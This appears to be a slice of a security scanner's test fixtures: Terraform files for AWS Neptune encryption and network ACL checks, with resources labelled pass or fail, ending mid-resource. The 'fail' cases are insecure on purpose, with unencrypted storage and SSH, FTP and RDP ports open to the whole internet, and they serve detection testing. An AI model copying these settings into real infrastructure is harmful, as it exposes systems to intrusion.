    "content": "resource \"aws_neptune_cluster\" \"fail\" {\n  cluster_identifier                  = \"neptune-cluster-demo\"\n  engine                              = \"neptune\"\n  backup_retention_period             = 5\n  preferred_backup_window             = \"07:00-09:00\"\n  skip_final_snapshot                 = true\n  iam_database_authentication_enabled = true\n  apply_immediately                   = true\n}\n\nresource \"aws_neptune_cluster\" \"pass\" {\n  cluster_identifier                  = \"neptune-cluster-demo\"\n  engine                              = \"neptune\"\n  backup_retention_period             = 5\n  preferred_backup_window             = \"07:00-09:00\"\n  skip_final_snapshot                 = true\n  iam_database_authentication_enabled = true\n  apply_immediately                   = true\n  kms_key_arn = aws_kms_key.pike.arn\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_NeptuneClusterSnapshotEncrypted/main.tf",
    "content": "resource \"aws_neptune_cluster_snapshot\" \"fail\" {\n  db_cluster_identifier          = aws_neptune_cluster.example.id\n  db_cluster_snapshot_identifier = \"resourcetestsnapshot1234\"\n}\n\nresource \"aws_neptune_cluster_snapshot\" \"fail2\" {\n  db_cluster_identifier          = aws_neptune_cluster.example.id\n  db_cluster_snapshot_identifier = \"resourcetestsnapshot1234\"\n  storage_encrypted = false\n}\n\nresource \"aws_neptune_cluster_snapshot\" \"pass\" {\n  db_cluster_identifier          = aws_neptune_cluster.example.id\n  db_cluster_snapshot_identifier = \"resourcetestsnapshot1234\"\n  storage_encrypted =true\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_NeptuneClusterSnapshotEncryptedWithCMK/main.tf",
    "content": "resource \"aws_neptune_cluster_snapshot\" \"fail\" {\n  db_cluster_identifier          = aws_neptune_cluster.example.id\n  db_cluster_snapshot_identifier = \"resourcetestsnapshot1234\"\n  storage_encrypted=true\n}\n\n\nresource \"aws_neptune_cluster_snapshot\" \"pass\" {\n  db_cluster_identifier          = aws_neptune_cluster.example.id\n  db_cluster_snapshot_identifier = \"resourcetestsnapshot1234\"\n  storage_encrypted = true\n  kms_key_id = aws_kms_key.pike.id\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_NeptuneClusterStorageEncrypted/main.tf",
    "content": "# pass\n\nresource \"aws_neptune_cluster\" \"enabled\" {\n  cluster_identifier = \"example\"\n  engine             = \"neptune\"\n\n  storage_encrypted = true\n}\n\n# fail\n\nresource \"aws_neptune_cluster\" \"default\" {\n  cluster_identifier = \"example\"\n  engine             = \"neptune\"\n}\n\nresource \"aws_neptune_cluster\" \"disabled\" {\n  cluster_identifier = \"example\"\n  engine             = \"neptune\"\n\n  storage_encrypted = false\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_NeptuneDBClustersCopyTagsToSnapshots/NeptuneDBClustersCopyTagsToSnapshots.tf",
    "content": "## SHOULD PASS: has copy_tags_to_snapshot = true\nresource \"aws_neptune_cluster\" \"ckv_unittest_pass\" {\n  copy_tags_to_snapshot = true\n}\n\n## SHOULD FAIL: doesn't have copy_tags_to_snapshot\nresource \"aws_neptune_cluster\" \"ckv_unittest_fail\" {\n  copy_tags_to_snapshot = false\n}\n\n## SHOULD FAIL: have copy_tags_to_snapshot = false\nresource \"aws_neptune_cluster\" \"ckv_unittest2_fail\" {\n    ## Your test here\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_NeptuneDBClustersIAMDatabaseAuthenticationEnabled/NeptuneDBClustersIAMDatabaseAuthenticationEnabled.tf",
    "content": "## SHOULD PASS: iam_database_authentication_enabled set to true\nresource \"aws_neptune_cluster\" \"ckv_unittest_pass\" {\n    ## Your test here\n  cluster_identifier = \"bla\"\n  iam_database_authentication_enabled = true\n}\n\n## SHOULD FAIL: iam_database_authentication_enabled set to false\nresource \"aws_neptune_cluster\" \"ckv_unittest_fail\" {\n    ## Your test here\n  cluster_identifier = \"bla_fail\"\n  iam_database_authentication_enabled = false\n}\n\n\n## SHOULD FAIL: iam_database_authentication_enabled doesn't exist\nresource \"aws_neptune_cluster\" \"ckv_unittest2_fail\" {\n    ## Your test here\n  cluster_identifier = \"bla_fail\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_NetworkACLUnrestricted/main.tf",
    "content": "resource \"aws_network_acl_rule\" \"fail\" {\n   egress         = false\n   protocol       = \"all\"\n   rule_action    = \"allow\"\n   cidr_block     = \"0.0.0.0/0\"\n   network_acl_id = aws_network_acl.bar.id\n   rule_number    = 200\n }\n\nresource \"aws_network_acl\" \"bar\" {\n  vpc_id = \"vpc-06074a092930bc809\"\n}\n\nresource \"aws_network_acl_rule\" \"pass\" {\n   egress         = false\n   protocol       = \"all\"\n   rule_action    = \"allow\"\n   cidr_block     = \"0.0.0.0/0\"\n   from_port = 80\n   to_port = 80\n   network_acl_id = aws_network_acl.bar.id\n   rule_number    = 200\n }\n\nresource \"aws_network_acl_rule\" \"ignore\" {\n   egress         = true\n   protocol       = \"all\"\n   rule_action    = \"allow\"\n   cidr_block     = \"0.0.0.0/0\"\n   network_acl_id = aws_network_acl.bar.id\n   rule_number    = 201\n }\n\nresource \"aws_network_acl_rule\" \"fail2\" {\n   egress         = false\n   protocol       = \"all\"\n   rule_action    = \"allow\"\n   cidr_block     = \"0.0.0.0/0\"\n   from_port=\"\"\n   network_acl_id = aws_network_acl.bar.id\n   rule_number    = 201\n }"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_NetworkACLUnrestrictedIngress20/dynamic_blocks_map_brackets/main.tf",
    "content": "resource \"aws_network_acl\" \"network_acl\" {\n  vpc_id = data.aws_vpc\n\n  dynamic \"ingress\" {\n    for_each = var.http_headers\n    content {\n      rule_no    = ingress.value[\"num\"]\n      protocol   = ingress.value[\"protoc\"]\n      action     = \"allow\"\n      cidr_block = ingress.value[\"values\"]\n      from_port  = 5\n      to_port    = 22\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_NetworkACLUnrestrictedIngress20/dynamic_blocks_map_brackets/variables.tf",
    "content": "variable \"http_headers\" {\n  type = list(object({\n    num    = number\n    values = list\n  }))\n  default = [{\n    \"num\": 1,\n    \"protoc\": \"tcp\",\n    \"values\": [\"0.0.0.0/0\"]\n  },\n  {\n    \"num\": 2,\n    \"protoc\": \"tcp\",\n    \"values\": [\"0.0.0.0/0\"]\n  }]\n}\n\nvariable \"aws_vpc\" {\n  default = true\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_NetworkACLUnrestrictedIngress20/main.tf",
    "content": "resource \"aws_network_acl\" \"pass3\" {\n  vpc_id     = aws_vpc.VPC.id\n  subnet_ids = aws_subnet.PublicSubnet.*.id\n\n  ingress {\n    rule_no    = 10\n    protocol   = \"tcp\"\n    action     = \"deny\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 20\n    to_port   = 22\n  }\n\n  ingress {\n    rule_no    = 20\n    protocol   = \"tcp\"\n    action     = \"deny\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 3389\n    to_port   = 3389\n  }\n\n  ingress {\n    rule_no    = 100\n    protocol   = -1\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 0\n    to_port   = 0\n  }\n\n  egress {\n    rule_no    = 100\n    protocol   = -1\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 0\n    to_port   = 0\n  }\n\n  tags = {\n    Name = \"${var.TagName}-Public\"\n  }\n}\n\nresource \"aws_network_acl\" \"fail4\" {\n  vpc_id     = aws_vpc.VPC.id\n  subnet_ids = aws_subnet.PublicSubnet.*.id\n\n  ingress {\n    rule_no    = 30\n    protocol   = \"tcp\"\n    action     = \"deny\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 20\n    to_port   = 22\n  }\n\n  ingress {\n    rule_no    = 20\n    protocol   = \"tcp\"\n    action     = \"deny\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 3389\n    to_port   = 3389\n  }\n\n  ingress {\n    rule_no    = 10\n    protocol   = -1\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 0\n    to_port   = 0\n  }\n\n  egress {\n    rule_no    = 100\n    protocol   = -1\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 0\n    to_port   = 0\n  }\n\n  tags = {\n    Name = \"${var.TagName}-Public\"\n  }\n}\n\nresource \"aws_network_acl_rule\" \"fail2\" {\n  network_acl_id = aws_network_acl.pass.id\n  rule_number    = 200\n  egress         = false\n  protocol       = \"tcp\"\n  rule_action    = \"allow\"\n  cidr_block     = \"0.0.0.0/0\"\n  from_port      = 5\n  to_port        = 25\n}\n\nresource \"aws_network_acl\" \"fail\" {\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    protocol   = \"tcp\"\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = \"10.3.0.0/18\"\n    from_port  = 443\n    to_port    = 443\n  }\n\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 100\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n    from_port  = 20\n    to_port    = 20\n  }\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 110\n    action     = \"allow\"\n    cidr_block = \"10.0.0.0/32\"\n    from_port  = 3389\n    to_port    = 3389\n  }\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\nresource \"aws_network_acl\" \"fail2\" {\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    protocol   = \"tcp\"\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = \"10.3.0.0/18\"\n    from_port  = 443\n    to_port    = 443\n  }\n\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 100\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n    from_port  = 20\n    to_port    = 20\n  }\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 110\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n    from_port  = 3389\n    to_port    = 3389\n  }\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\nresource \"aws_vpc\" \"main\" {\n  cidr_block = \"10.0.0.0/16\"\n}\n\nprovider \"aws\" {\n  region = \"eu-west-2\"\n}\nresource \"aws_network_acl\" \"pass\" {\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    protocol   = \"tcp\"\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = \"10.3.0.0/18\"\n    from_port  = 443\n    to_port    = 443\n  }\n\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 100\n    action     = \"allow\"\n    cidr_block = \"10.0.0.0/32\"\n    from_port  = 20\n    to_port    = 20\n  }\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 110\n    action     = \"allow\"\n    cidr_block = \"10.0.0.0/32\"\n    from_port  = 3389\n    to_port    = 3389\n  }\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\n\nresource \"aws_network_acl\" \"pass2\" {\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    protocol   = \"tcp\"\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = \"10.3.0.0/18\"\n    from_port  = 443\n    to_port    = 443\n  }\n\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 100\n    action     = \"deny\"\n    cidr_block = \"0.0.0.0/0\"\n    from_port  = 20\n    to_port    = 20\n  }\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 110\n    action     = \"allow\"\n    cidr_block = \"10.0.0.0/32\"\n    from_port  = 3389\n    to_port    = 3389\n  }\n\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\nresource \"aws_network_acl\" \"pass2\" {\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    protocol   = \"tcp\"\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = \"10.3.0.0/18\"\n    from_port  = 443\n    to_port    = 443\n  }\n\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 100\n    action     = \"deny\"\n    cidr_block = \"0.0.0.0/0\"\n    from_port  = 20\n    to_port    = 20\n  }\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 110\n    action     = \"allow\"\n    cidr_block = \"10.0.0.0/32\"\n    from_port  = 3389\n    to_port    = 3389\n  }\n\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\nresource \"aws_network_acl\" \"unknown\" {\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    protocol   = \"tcp\"\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = \"10.3.0.0/18\"\n    from_port  = 443\n    to_port    = 443\n  }\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\nresource \"aws_network_acl\" \"fail3\" {\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    protocol   = \"tcp\"\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = \"10.3.0.0/18\"\n    from_port  = 443\n    to_port    = 443\n  }\n\n  ingress {\n    protocol        = \"tcp\"\n    rule_no         = 100\n    action          = \"allow\"\n    ipv6_cidr_block = \"::/0\"\n    from_port       = 20\n    to_port         = 20\n  }\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 110\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n    from_port  = 3389\n    to_port    = 3389\n  }\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\nresource \"aws_network_acl_rule\" \"fail\" {\n  network_acl_id = aws_network_acl.pass.id\n  rule_number    = 200\n  egress         = false\n  protocol       = \"tcp\"\n  rule_action    = \"allow\"\n  cidr_block     = \"0.0.0.0/0\"\n  from_port      = 20\n  to_port        = 20\n}\n\n\nresource \"aws_network_acl_rule\" \"pass\" {\n  network_acl_id = aws_network_acl.pass.id\n  rule_number    = 200\n  egress         = false\n  protocol       = \"tcp\"\n  rule_action    = \"allow\"\n  cidr_block     = \"10.0.0.0/32\"\n  from_port      = 20\n  to_port        = 20\n}\n\nresource \"aws_network_acl_rule\" \"pass2\" {\n  network_acl_id = aws_network_acl.pass.id\n  rule_number    = 200\n  egress         = false\n  protocol       = \"tcp\"\n  rule_action    = \"allow\"\n  cidr_block     = \"10.0.0.0/32\"\n  from_port      = 5\n  to_port        = 25\n}\n\n# open all\nresource \"aws_network_acl_rule\" \"public_ingress\" {\n  network_acl_id = aws_network_acl.pass.id\n  rule_number    = 100\n  egress         = false\n  protocol       = \"-1\"\n  rule_action    = \"allow\"\n  cidr_block     = \"0.0.0.0/0\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_NetworkACLUnrestrictedIngress21/main.tf",
    "content": "resource \"aws_network_acl\" \"pass3\" {\n  vpc_id     = aws_vpc.VPC.id\n  subnet_ids = aws_subnet.PublicSubnet.*.id\n\n  ingress {\n    rule_no    = 10\n    protocol   = \"tcp\"\n    action     = \"deny\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 20\n    to_port   = 22\n  }\n\n  ingress {\n    rule_no    = 20\n    protocol   = \"tcp\"\n    action     = \"deny\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 3389\n    to_port   = 3389\n  }\n\n  ingress {\n    rule_no    = 100\n    protocol   = -1\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 0\n    to_port   = 0\n  }\n\n  egress {\n    rule_no    = 100\n    protocol   = -1\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 0\n    to_port   = 0\n  }\n\n  tags = {\n    Name = \"${var.TagName}-Public\"\n  }\n}\n\nresource \"aws_network_acl\" \"fail4\" {\n  vpc_id     = aws_vpc.VPC.id\n  subnet_ids = aws_subnet.PublicSubnet.*.id\n\n  ingress {\n    rule_no    = 30\n    protocol   = \"tcp\"\n    action     = \"deny\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 20\n    to_port   = 22\n  }\n\n  ingress {\n    rule_no    = 20\n    protocol   = \"tcp\"\n    action     = \"deny\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 3389\n    to_port   = 3389\n  }\n\n  ingress {\n    rule_no    = 10\n    protocol   = -1\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 0\n    to_port   = 0\n  }\n\n  egress {\n    rule_no    = 100\n    protocol   = -1\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 0\n    to_port   = 0\n  }\n\n  tags = {\n    Name = \"${var.TagName}-Public\"\n  }\n}\n\nresource \"aws_network_acl_rule\" \"fail2\" {\n  network_acl_id = aws_network_acl.pass.id\n  rule_number    = 200\n  egress         = false\n  protocol       = \"tcp\"\n  rule_action    = \"allow\"\n  cidr_block     = \"0.0.0.0/0\"\n  from_port      = 5\n  to_port        = 25\n}\n\nresource \"aws_network_acl\" \"fail\" {\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    protocol   = \"tcp\"\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = \"10.3.0.0/18\"\n    from_port  = 443\n    to_port    = 443\n  }\n\n\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 100\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n    from_port  = 21\n    to_port    = 21\n  }\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 110\n    action     = \"allow\"\n    cidr_block = \"10.0.0.0/32\"\n    from_port  = 3389\n    to_port    = 3389\n  }\n\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\nresource \"aws_network_acl\" \"fail2\" {\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    protocol   = \"tcp\"\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = \"10.3.0.0/18\"\n    from_port  = 443\n    to_port    = 443\n  }\n\n\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 100\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n    from_port  = 21\n    to_port    = 21\n  }\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 110\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n    from_port  = 3389\n    to_port    = 3389\n  }\n\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\nresource \"aws_network_acl\" \"pass\" {\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    protocol   = \"tcp\"\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = \"10.3.0.0/18\"\n    from_port  = 443\n    to_port    = 443\n  }\n\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 100\n    action     = \"allow\"\n    cidr_block = \"10.0.0.0/32\"\n    from_port  = 21\n    to_port    = 21\n  }\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 110\n    action     = \"allow\"\n    cidr_block = \"10.0.0.0/32\"\n    from_port  = 3389\n    to_port    = 3389\n  }\n\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\n\nresource \"aws_network_acl\" \"pass2\" {\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    protocol   = \"tcp\"\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = \"10.3.0.0/18\"\n    from_port  = 443\n    to_port    = 443\n  }\n\n\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 100\n    action     = \"deny\"\n    cidr_block = \"0.0.0.0/0\"\n    from_port  = 21\n    to_port    = 21\n  }\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 110\n    action     = \"allow\"\n    cidr_block = \"10.0.0.0/32\"\n    from_port  = 3389\n    to_port    = 3389\n  }\n\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\n\nresource \"aws_network_acl\" \"unknown\" {\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    protocol   = \"tcp\"\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = \"10.3.0.0/18\"\n    from_port  = 443\n    to_port    = 443\n  }\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\n\nresource \"aws_network_acl\" \"fail3\" {\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    protocol   = \"tcp\"\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = \"10.3.0.0/18\"\n    from_port  = 443\n    to_port    = 443\n  }\n\n  ingress {\n    protocol        = \"tcp\"\n    rule_no         = 100\n    action          = \"allow\"\n    ipv6_cidr_block = \"::/0\"\n    from_port       = 21\n    to_port         = 21\n  }\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 110\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n    from_port  = 3389\n    to_port    = 3389\n  }\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\nresource \"aws_vpc\" \"main\" {\n  cidr_block = \"10.0.0.0/16\"\n}\n\nprovider \"aws\" {\n  region = \"eu-west-2\"\n}\n\n\nresource \"aws_network_acl_rule\" \"fail\" {\n  network_acl_id = aws_network_acl.pass.id\n  rule_number    = 200\n  egress         = false\n  protocol       = \"tcp\"\n  rule_action    = \"allow\"\n  cidr_block     = \"0.0.0.0/0\"\n  from_port      = 21\n  to_port        = 21\n}\n\n\nresource \"aws_network_acl_rule\" \"pass\" {\n  network_acl_id = aws_network_acl.pass.id\n  rule_number    = 200\n  egress         = false\n  protocol       = \"tcp\"\n  rule_action    = \"allow\"\n  cidr_block     = \"10.0.0.0/32\"\n  from_port      = 21\n  to_port        = 21\n}\n\nresource \"aws_network_acl_rule\" \"pass2\" {\n  network_acl_id = aws_network_acl.pass.id\n  rule_number    = 200\n  egress         = false\n  protocol       = \"tcp\"\n  rule_action    = \"allow\"\n  cidr_block     = \"10.0.0.0/32\"\n  from_port      = 5\n  to_port        = 25\n}\n\n# open all\nresource \"aws_network_acl_rule\" \"public_ingress\" {\n  network_acl_id = aws_network_acl.pass.id\n  rule_number    = 100\n  egress         = false\n  protocol       = \"-1\"\n  rule_action    = \"allow\"\n  cidr_block     = \"0.0.0.0/0\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_NetworkACLUnrestrictedIngress22/main.tf",
    "content": "resource \"aws_network_acl\" \"pass3\" {\n  vpc_id     = aws_vpc.VPC.id\n  subnet_ids = aws_subnet.PublicSubnet.*.id\n\n  ingress {\n    rule_no    = 10\n    protocol   = \"tcp\"\n    action     = \"deny\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 20\n    to_port   = 22\n  }\n\n  ingress {\n    rule_no    = 20\n    protocol   = \"tcp\"\n    action     = \"deny\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 3389\n    to_port   = 3389\n  }\n\n  ingress {\n    rule_no    = 100\n    protocol   = -1\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 0\n    to_port   = 0\n  }\n\n  egress {\n    rule_no    = 100\n    protocol   = -1\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 0\n    to_port   = 0\n  }\n\n  tags = {\n    Name = \"${var.TagName}-Public\"\n  }\n}\n\nresource \"aws_network_acl\" \"fail4\" {\n  vpc_id     = aws_vpc.VPC.id\n  subnet_ids = aws_subnet.PublicSubnet.*.id\n\n  ingress {\n    rule_no    = 30\n    protocol   = \"tcp\"\n    action     = \"deny\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 20\n    to_port   = 22\n  }\n\n  ingress {\n    rule_no    = 20\n    protocol   = \"tcp\"\n    action     = \"deny\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 3389\n    to_port   = 3389\n  }\n\n  ingress {\n    rule_no    = 10\n    protocol   = -1\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 0\n    to_port   = 0\n  }\n\n  egress {\n    rule_no    = 100\n    protocol   = -1\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n\n    from_port = 0\n    to_port   = 0\n  }\n\n  tags = {\n    Name = \"${var.TagName}-Public\"\n  }\n}\n\nresource \"aws_network_acl_rule\" \"fail2\" {\n  network_acl_id = aws_network_acl.pass.id\n  rule_number    = 200\n  egress         = false\n  protocol       = \"tcp\"\n  rule_action    = \"allow\"\n  cidr_block     = \"0.0.0.0/0\"\n  from_port      = 5\n  to_port        = 25\n}\n\nresource \"aws_network_acl\" \"fail\" {\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    protocol   = \"tcp\"\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = \"10.3.0.0/18\"\n    from_port  = 443\n    to_port    = 443\n  }\n\n\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 100\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n    from_port  = 22\n    to_port    = 22\n  }\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 110\n    action     = \"allow\"\n    cidr_block = \"10.0.0.0/32\"\n    from_port  = 3389\n    to_port    = 3389\n  }\n\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\nresource \"aws_network_acl\" \"fail2\" {\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    protocol   = \"tcp\"\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = \"10.3.0.0/18\"\n    from_port  = 443\n    to_port    = 443\n  }\n\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 100\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n    from_port  = 22\n    to_port    = 22\n  }\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 110\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n    from_port  = 3389\n    to_port    = 3389\n  }\n\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\nresource \"aws_network_acl\" \"pass\" {\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    protocol   = \"tcp\"\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = \"10.3.0.0/18\"\n    from_port  = 443\n    to_port    = 443\n  }\n\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 100\n    action     = \"allow\"\n    cidr_block = \"10.0.0.0/32\"\n    from_port  = 22\n    to_port    = 22\n  }\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 110\n    action     = \"allow\"\n    cidr_block = \"10.0.0.0/32\"\n    from_port  = 3389\n    to_port    = 3389\n  }\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\n\nresource \"aws_network_acl\" \"pass2\" {\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    protocol   = \"tcp\"\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = \"10.3.0.0/18\"\n    from_port  = 443\n    to_port    = 443\n  }\n\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 100\n    action     = \"deny\"\n    cidr_block = \"0.0.0.0/0\"\n    from_port  = 22\n    to_port    = 22\n  }\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 110\n    action     = \"allow\"\n    cidr_block = \"10.0.0.0/32\"\n    from_port  = 3389\n    to_port    = 3389\n  }\n\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\n\nresource \"aws_network_acl\" \"unknown\" {\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    protocol   = \"tcp\"\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = \"10.3.0.0/18\"\n    from_port  = 443\n    to_port    = 443\n  }\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\n\nresource \"aws_network_acl\" \"fail3\" {\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    protocol   = \"tcp\"\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = \"10.3.0.0/18\"\n    from_port  = 443\n    to_port    = 443\n  }\n\n  ingress {\n    protocol        = \"tcp\"\n    rule_no         = 100\n    action          = \"allow\"\n    ipv6_cidr_block = \"::/0\"\n    from_port       = 22\n    to_port         = 22\n  }\n  ingress {\n    protocol   = \"tcp\"\n    rule_no    = 110\n    action     = \"allow\"\n    cidr_block = \"0.0.0.0/0\"\n    from_port  = 3389\n    to_port    = 3389\n  }\n\n  tags = {\n    Name = \"main\"\n    test = \"fail\"\n  }\n}\n\n\nresource \"aws_vpc\" \"main\" {\n  cidr_block = \"10.0.0.0/16\"\n}\n\nprovider \"aws\" {\n  region = \"eu-west-2\"\n}\n\n\nresource \"aws_network_acl_rule\" \"fail\" {\n  network_acl_id = aws_network_acl.pass.id\n  rule_number    = 200\n  egress         = false\n  protocol       = \"tcp\"\n  rule_action    = \"allow\"\n  cidr_block     = \"0.0.0.0/0\"\n  from_port      = 22\n  to_port        = 22\n}\n\n\nresource \"aws_network_acl_rule\" \"pass\" {\n  network_acl_id = aws_network_acl.pass.id\n  rule_number    = 200\n  egress         = false\n  protocol       = \"tcp\"\n  rule_action    = \"allow\"\n  cidr_block     = \"10.0.0.0/32\"\n  from_port      = 22\n  to_port        = 22\n}\n\nresource \"aws_network_acl_rule\" \"pass2\" {\n  network_acl_id = aws_network_acl.pass.id\n  rule_number    = 200\n  egress         = false\n  protocol       = \"tcp\"\n  rule_action    = \"allow\"\n  cidr_block     = \"10.0.0.0/32\"\n  from_port      = 5\n  to_port        = 25\n}\n\n# open all\nresource \"aws_network_acl_rule\" \"public_ingress\" {\n  network_acl_id = aws_network_acl.pass.id\n  rule_number    = 100\n  egress         = false\n  protocol       = \"-1\"\n  rule_action    = \"allow\"\n  cidr_block     = \"0.0.0.0/0\"\n}\n\n\nresource \"aws_network_acl_rule\" \"pass3\" {\n  vpc_id = aws_network_acl.pass.id\n\n  egress {\n    rule_no    = 200\n    action     = \"allow\"\n    cidr_block = 